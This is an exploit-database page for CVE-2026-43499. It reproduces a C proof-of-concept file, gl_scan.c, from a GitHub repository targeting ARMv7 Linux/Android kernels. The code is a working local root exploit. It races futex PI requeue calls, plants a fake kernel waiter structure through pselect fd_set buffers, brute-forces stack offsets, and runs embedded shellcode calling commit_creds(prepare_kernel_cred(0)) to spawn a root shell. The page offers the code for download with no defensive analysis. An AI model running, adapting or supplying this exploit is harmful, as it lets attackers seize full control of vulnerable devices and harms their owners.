Exploit database

GH-84a2584893aa73cb0829550f9c55b3e1

tc3650/cve-2026-43499-armv7

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-43499

170 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files70
tc3650/cve-2026-43499-armv7Revision 40f7649b000a
Next files →

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

src/gl_scan.c

C · 7,074 bytes
/*
 * gl_scan.c — brute-force scan pselect fd_set word offsets.
 * Tries every 4-byte word offset to find where fd_set data
 * overlaps with the waiter's pi_tree_entry on the kernel stack.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <stdatomic.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/select.h>
#include <sys/time.h>
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <time.h>
#include <linux/futex.h>

#define SYS_futex  422
#define SYS_sched  380

static long sys6(long n,long a0,long a1,long a2,long a3,long a4,long a5)
{
    register long r0=a0,r1=a1,r2=a2,r3=a3,r4=a4,r5=a5,r7=n;
    asm volatile("svc #0":"+r"(r0):"r"(r1),"r"(r2),"r"(r3),"r"(r4),"r"(r5),"r"(r7):"memory");
    return r0;
}
#define SYS6(n,a0,a1,a2,a3,a4,a5) sys6((n),(a0),(a1),(a2),(a3),(a4),(a5))

#define FLPI  (6|128)
#define FUPI  (7|128)
#define FWRQ  (11|128)
#define FCRQ  (12|128)
#define CLEAR_REFS_WRITE  0xC0CAF28C

struct sched_attr {
    uint32_t size; uint32_t sched_policy; uint64_t sched_flags;
    int32_t sched_nice; uint32_t sched_priority;
    uint64_t sched_runtime, sched_deadline, sched_period;
};

static int do_sched(pid_t pid, int nice)
{
    struct sched_attr a;
    memset(&a,0,sizeof(a));
    a.size=sizeof(a); a.sched_policy=0; a.sched_nice=nice;
    return syscall(SYS_sched, pid, &a, 0);
}

/* Shellcode: commit_creds(prepare_kernel_cred(0)) */
static const uint32_t code[]={
    0xe92d4010,0xe3a00000,0xe59f3010,0xe12fff33,
    0xe1a04000,0xe1a00004,0xe59f3008,0xe12fff33,
    0xe8bd8010,0xc014059c,0xc0140390,
};

static uint32_t sc_addr=0;
static volatile int found=0;

/* Per-attempt state */
static uint32_t f_wait,f_target,f_chain;
static volatile int ready,started,done;
static volatile int go,stop;
static volatile int calls,succ,wtid;
static int shift;

static void* waiter_fn(void *arg)
{
    int my_shift = *(int*)arg;
    
    wtid = syscall(SYS_gettid);
    SYS6(SYS_futex,(long)&f_chain,FLPI,0,0,0,0);
    ready=1;
    while(!started)usleep(1000);
    
    struct timespec ts;
    clock_gettime(CLOCK_MONOTONIC,&ts);
    ts.tv_sec+=5;
    SYS6(SYS_futex,(long)&f_wait,FWRQ,0,(long)&ts,(long)&f_target,0);
    
    /* pselect with fake tree at position my_shift */
    fd_set in,out,ex;
    FD_ZERO(&in);FD_ZERO(&out);FD_ZERO(&ex);
    
    uint32_t parent=CLEAR_REFS_WRITE-8+1; /* left child */
    uint32_t child=sc_addr;
    
    /* Write fake waiter struct at various word positions */
    /* Tree layout: [parent, right, left, prio, deadline, 
     *               pi_parent, pi_right, pi_left, pi_prio, pi_deadline,
     *               task, lock, wake_state] */
    int base=my_shift;
    int tot=0;
    /* tree_entry */
    if(base>=0&&base<32)((uint32_t*)&in)[base]=parent; tot++;
    if(base+1>=0&&base+1<32)((uint32_t*)&in)[base+1]=0; tot++;
    if(base+2>=0&&base+2<32)((uint32_t*)&in)[base+2]=child; tot++;
    /* pi_tree_entry */
    if(base+3>=0&&base+3<32)((uint32_t*)&in)[base+3]=parent; tot++;
    if(base+4>=0&&base+4<32)((uint32_t*)&in)[base+4]=0; tot++;
    if(base+5>=0&&base+5<32)((uint32_t*)&in)[base+5]=child; tot++;
    /* task, lock, prio, wake_state */
    if(base+6>=0&&base+6<32)((uint32_t*)&in)[base+6]=0xC0CAED08; tot++;
    if(base+7>=0&&base+7<32)((uint32_t*)&in)[base+7]=0xB6A00000; tot++;
    if(base+8>=0&&base+8<32)((uint32_t*)&in)[base+8]=130; tot++;
    if(base+9>=0&&base+9<32)((uint32_t*)&in)[base+9]=3; tot++;
    
    /* Same data in out and ex for more coverage */
    memcpy(&out,&in,sizeof(fd_set));
    memcpy(&ex,&in,sizeof(fd_set));
    
    int p[2];pipe(p);FD_SET(p[0],&in);
    struct timespec to={.tv_sec=2,.tv_nsec=0};
    
    go=1;
    int ret=pselect(256,&in,&out,&ex,&to,NULL);
    go=0;
    close(p[0]);close(p[1]);
    
    if(succ>0){
        int fd=open("/proc/self/clear_refs",O_WRONLY);
        if(fd>=0){
            write(fd,"1",1);close(fd);
            uid_t u=getuid();
            if(u==0){
                printf("[shift=%d] *** ROOT! ***\n",my_shift);
                found=1;
                execl("/system/bin/sh","sh",NULL);
            }
        }
    }
    
    done=1;
    SYS6(SYS_futex,(long)&f_chain,FUPI,0,0,0,0);
    return NULL;
}

static void* owner_fn(void *arg)
{
    (void)arg;
    SYS6(SYS_futex,(long)&f_target,FLPI,0,0,0,0);
    while(!ready)usleep(1000);
    started=1;
    SYS6(SYS_futex,(long)&f_chain,FLPI,0,0,0,0);
    SYS6(SYS_futex,(long)&f_chain,FUPI,0,0,0,0);
    return NULL;
}

static void* consumer_fn(void *arg)
{
    (void)arg;
    while(!stop){
        while(go&&!stop){
            calls++;
            if(do_sched(wtid,19)==0)succ++;
            usleep(1000);
        }
        usleep(10);
    }
    return NULL;
}

/* Run one attempt with given shift. Returns 0 if not root, 1 if root. */
static int try_shift(int s)
{
    f_wait=f_target=f_chain=0;
    ready=started=done=0;
    go=stop=0;
    calls=succ=0;
    wtid=0;
    shift=s;
    
    pthread_t wt,ot,ct;
    pthread_create(&wt,NULL,waiter_fn,&s);
    pthread_create(&ot,NULL,owner_fn,NULL);
    pthread_create(&ct,NULL,consumer_fn,NULL);
    
    while(!ready)usleep(10000);
    usleep(50000);
    
    long ret=SYS6(SYS_futex,(long)&f_wait,FCRQ,1,(long)(void*)1,(long)&f_target,0);
    
    while(!done)usleep(50000);
    stop=1;
    usleep(100000);
    
    pthread_join(wt,NULL);
    pthread_join(ot,NULL);
    pthread_join(ct,NULL);
    
    if(succ>0){
        printf("[shift=%3d] FCRQ=0x%x calls=%d succ=%d ***\n",s,(uint32_t)ret,calls,succ);
        /* Try clear_refs again */
        int fd=open("/proc/self/clear_refs",O_WRONLY);
        if(fd>=0){
            write(fd,"1",1);close(fd);
            if(getuid()==0){
                printf("[+] ROOT at shift=%d!\n",s);
                return 1;
            }
        }
        printf("[shift=%3d] clear_refs wrote but uid=%d\n",s,getuid());
    } else if(s>=0&&s<=32){
        printf("[shift=%3d] ret=0x%x\n",s,(uint32_t)ret);
    }
    
    return 0;
}

int main(void)
{
    printf("=== gl_scan: brute-force word offset scan ===\n");
    
    void *p=mmap(NULL,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC,
                 MAP_PRIVATE|MAP_ANONYMOUS,-1,0);
    if(p==MAP_FAILED){printf("mmap fail\n");return 1;}
    sc_addr=(uint32_t)(uintptr_t)p;
    memcpy(p,code,sizeof(code));
    printf("[*] sc at 0x%x\n",sc_addr);
    
    /* Scan shifts from -40 to +40 (every 4 bytes) */
    /* Only test a few key shifts first, then wider if needed */
    int shifts[]={
        0,4,8,12,16,20,24,28,32,36,40,
        -4,-8,-12,-16,-20,-24,-28,-32,-36,-40,
        1,2,3,5,6,7,9,10,11,13,14,15,
        17,18,19,21,22,23,25,26,27,29,30,31,
        -1,-2,-3,-5,-6,-7,-9,-10,-11,-13,-14,-15,
    };
    int n=sizeof(shifts)/sizeof(shifts[0]);
    
    for(int i=0;i<n&&!found;i++){
        if(try_shift(shifts[i])){
            found=1;
            break;
        }
        usleep(100000);
    }
    
    if(!found){
        printf("[-] scan complete, no root\n");
    }
    printf("[*] alive\n");
    return 0;
}